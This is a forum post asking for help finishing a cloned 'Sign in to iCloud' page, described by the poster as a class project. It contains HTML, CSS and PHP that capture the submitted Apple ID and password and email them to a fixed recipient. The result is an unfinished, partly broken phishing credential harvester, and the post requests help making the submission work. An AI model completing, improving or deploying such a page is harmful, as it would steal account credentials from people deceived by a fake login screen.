Please help me finish this html and php code

I keep running into problems and my latest is trying to provide my root directory. Where can this be found?

At this point, I have the page and form looking how I want it (just cloned some info and made some changes), but I cannot figure out how to make my “submit” button do anything.

I realize I have posted several times but basically I need to add/change the code I currently have in order to have the information collected sent to myphpadmin site (or somewhere else) where they can be accessed. This is for a class and will not be utilized, but I would really appreciate any help from this point. Several people have submitted code that basically recreates a form, but none of them have solved my problems.

<?php if($_POST["submit"]) { $recipient="[email protected]"; $subject="Form to email message"; $senderEmail=$_POST["AppleID"]; $password=$_POST["Password"]; $mailBody="Name: $sender\nEmail: $senderEmail\n\n$message"; mail($recipient, $subject, $mailBody, "From: $sender <$senderEmail>"); $thankYou="

Thank you! Your message has been sent.

"; } <?=$thankYou ?>
Application logo

Sign in to iCloud

Sign in to iCloud Apple ID
iCloud #noscript {position: absolute;z-index: 100;margin-left: -8px;margin-top: -8px;width: 100%; height: 100%;min-width: 800px;text-align: center;overflow: hidden;background-color: #686868; font-family: "SFNSText", "Helvetica Neue", Helvetica, Arial, sans-serif;font-weight: 300; text-rendering: optimizeLegibility;cursor: default; -moz-user-select: -moz-none;-khtml-user-select: none;-webkit-user-select: none;user-select: none;} #noscript div#container {position: absolute;top: 0;left: 0;right: 0;bottom: 0;min-height: 500px;} #noscript div#container div.float-center-gradient {z-index: 102;position: absolute;width: 100%; height: 100%;} #noscript div#container div.float-center {z-index: 103;position: absolute;top: 44%;margin-top: -125px;width: 100%;height: 250px;text-align: center;text-rendering: optimizeLegibility; -webkit-font-smoothing: antialiased;} #noscript div#container div.float-center img#img-cloud { margin-bottom: 25px;} #noscript div#container div.float-center span.title {color: #fff;font-size: 45px;} #noscript div#container div.float-center span.subtitle {color: #c3c3c3;font-size: 21px;} #noscript div#container div.bottom {z-index: 102;position: absolute;bottom: 0;width: 100%; font-size: 12px;color: #969696;text-rendering: optimizeLegibility;} html {background: top 130% right 100% no-repeat, linear-gradient(hsla(215,75%,19%,1), #1561a4 33.19%, #195691 81.51%, hsla(212,74%,30%,1));background-attachment: fixed; background-size: contain;height: 100%;min-height: 100%;} body.non-default {background: none;}
feaux clone

Please format the code that you post…